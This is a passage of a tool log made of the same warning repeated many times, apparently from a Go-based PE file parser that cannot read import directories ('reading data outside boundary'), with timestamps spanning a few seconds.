level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:55+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:55+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:55+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:55+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:55+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:55+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:55+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:55+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:55+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:55+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:55+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:55+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:55+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:55+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:55+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:55+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:55+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:55+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:55+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:55+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:55+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:55+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:55+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:55+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:55+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:55+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:55+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:55+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:55+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:55+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:55+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:55+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:55+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:55+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:55+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:55+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:55+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:55+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:55+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:55+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:55+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:55+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:55+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:55+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:55+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:55+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:55+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:55+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:55+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:55+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:55+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:55+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:55+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:55+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:55+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:56+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:56+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:56+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:56+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:56+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:56+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:56+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:56+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:56+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:56+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:56+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:56+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:56+01:00 level=warning msg=failed to parse data directory Import, reason: reading 